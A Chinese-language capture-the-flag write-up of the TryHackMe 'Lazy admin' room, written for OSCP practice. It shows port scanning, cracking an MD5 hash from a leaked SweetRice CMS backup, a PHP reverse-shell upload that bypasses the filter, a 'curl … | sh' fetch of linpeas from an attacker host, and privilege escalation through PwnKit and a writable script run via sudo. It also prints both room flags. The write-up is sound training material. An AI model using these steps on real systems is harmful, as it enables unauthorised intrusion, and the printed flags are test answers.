tryhackme 记录-linux-0x07 Lazy admin(easy)
来源
由于最近在备考 OSCP,在套餐开始前,心里没底,想要先刷一些靶机来练手,所以在网上找到了一份类似 OSCP 靶机的清单
| Tryhackme | |||
|---|---|---|---|
| More guided and friendly approach for some rooms but still great boxes and rooms for prep. Active Directory ones here are very good practice for the OSCP. | |||
| Linux | Windows | Active Directory and Networks | Other recommended rooms |
| Attacktive Directory | SQL Injection Lab | ||
| Attacking Kerberos | Linux Privilege Escalation | ||
| Wreath Network | Windows Privilege Escalation | ||
| Reset | Git Happens | ||
| Vulnnet: Active | NahamStore | ||
| Enterprise | |||
| Ledger | |||
| Tomghost | Recommended paths | ||
| Rootme | Assumed Breach Scenarios: | Cyber Security 101 | |
| CMesS | Corp | Jr Penetration Tester | |
| Ultratech | Lateral Movement and Pivoting | Offensive Pentesting | |
| Internal | Exploiting Active Directory | ||
| Zeno | |||
| Boiler CTF | |||
| Wonderland | |||
| Silver Platter | |||
| Year of the Jellyfish |
由于机器数量较多,共 47 台,计划一天打 1-2 台,在一个月内打完全部机器。目前已将 Windows 部分打完。
0x07 Lazy admin(easy)
简介:
玩得开心点!获取用户访问权限可能有多种方式。
原文:
Have some fun! There might be multiple ways to get user access.
设置环境变量
export TARGET=10.48.137.85
信息搜集
使用 rustscan 和 nmap 进行端口扫描
rustscan -a $TARGET -r 1-65535 --ulimit 500 -- -sC -sV -T3 -Pn
Open 10.48.137.85:22
Open 10.48.137.85:80
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 62 OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 49:7c:f7:41:10:43:73:da:2c:e6:38:95:86:f8:e0:f0 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCo0a0DBybd2oCUPGjhXN1BQrAhbKKJhN/PW2OCccDm6KB/+sH/2UWHy3kE1XDgWO2W3EEHVd6vf7SdrCt7sWhJSno/q1ICO6ZnHBCjyWcRMxojBvVtS4kOlzungcirIpPDxiDChZoy+ZdlC3hgnzS5ih/RstPbIy0uG7QI/K7wFzW7dqMlYw62CupjNHt/O16DlokjkzSdq9eyYwzef/CDRb5QnpkTX5iQcxyKiPzZVdX/W8pfP3VfLyd/cxBqvbtQcl3iT1n+QwL8+QArh01boMgWs6oIDxvPxvXoJ0Ts0pEQ2BFC9u7CgdvQz1p+VtuxdH6mu9YztRymXmXPKJfB
| 256 2f:d7:c4:4c:e8:1b:5a:90:44:df:c0:63:8c:72:ae:55 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBC8TzxsGQ1Xtyg+XwisNmDmdsHKumQYqiUbxqVd+E0E0TdRaeIkSGov/GKoXY00EX2izJSImiJtn0j988XBOTFE=
| 256 61:84:62:27:c6:c3:29:17:dd:27:45:9e:29:cb:90:5e (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILe/TbqqjC/bQMfBM29kV2xApQbhUXLFwFJPU14Y9/Nm
80/tcp open http syn-ack ttl 62 Apache httpd 2.4.18 ((Ubuntu))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
WEB 访问及目录扫描
80 端口

apache 默认页面,版本 Apache httpd 2.4.18
目录扫描及网页文件扫描
ffuf -u http://$TARGET/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -c
ffuf -u http://$TARGET/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-files.txt -c

content

发现一个 CMS:SweetRice,继续扫描 content 目录
ffuf -u http://$TARGET/content/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -c
ffuf -u http://$TARGET/content/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-files.txt -c

inc 存在目录遍历

inc/lastest.txt 泄露版本号:1.5.1

inc/mysql_backup/泄露数据库备份

as 登陆点

初始访问
备份获得密码
数据库备份文件中存在用户名和密码的 md5

# 写入文件
echo '42f749ade7f9e195bf475f37a44cafcb' > hash.txt
# 用hashcat解
hashcat -m 0 -a 0 hash.txt /usr/share/seclists/Passwords/Leaked-Databases/rockyou-75.txt
# 用john解
john --format=raw-md5 --wordlist=/usr/share/seclists/Passwords/Leaked-Databases/rockyou-75.txt hash.txt

均可解出:Password123,登录 as

后台 getshell
尝试在附件上传一个 php reverse shell

似乎并没有上传上去,但是测试 txt 可以上传,猜测是被拦截了,修改后缀为 php5

开启监听
python3 penelope.py -O
访问触发

shell 到手
问题 1:What is the user flag?(THM{63e5bce9271952aad1113b6f1ac28a07})

提权
信息搜集
开启 lpe 辅助服务,靶机执行 linpeas
# 且临时目录
cd /tmp
# 加载并执行
curl http://192.168.196.107/linpeas.sh | sh
# curl不存在,用wget先下载下来
wget http://192.168.196.107/linpeas.sh
# 给可执行权限
chmod +x ./linpeas.sh
# 执行
./linpeas.sh

方法 1-pwnKit 提权

直接打

架构不对,uname -a 查了一下原来是 x86 的,用 32 位 pwnKit 成功提权

问题 2:What is the root flag?(THM{6637f41d0177b6f37cb20d775124699f})

方法 2-通过可写的 sudo 执行脚本实现提权

可以不用密码就能执行/usr/bin/perl /home/itguy/backup.pl
如果 backup.pl 可以修改,则可以直接改写成拿 shellde 代码,检查权限,并没有可写权限

但是还是可以检查一下 backup.pl,因为可能存在其他利用方式

果然,backup.pl 内调用了/etc/copy.sh,那么我们检查/etc/copy.sh 权限即可

很幸运,对于这个脚本当前用户具有 rwx 权限,所以可以修改内容,这里可以写入反弹 shell 的命令,也可以直接写切 shell 的
懒得拿新 shell,切 session 了,直接切 shell 吧
echo '/bin/bash' > /etc/copy.sh
sudo /usr/bin/perl /home/itguy/backup.pl

提权成功
总结
- 提权的时候如果碰到 a 文件可以用 sudo 无密码执行,但是当前用户对 a 文件不具有写权限,那也可以继续检查一下 a 文件的内容,可能他会调用 b 文件,或者通过参数完成提权
- 上传 shell 的时候检查是否被拦截,尝试传 txt 或图片文件进行验证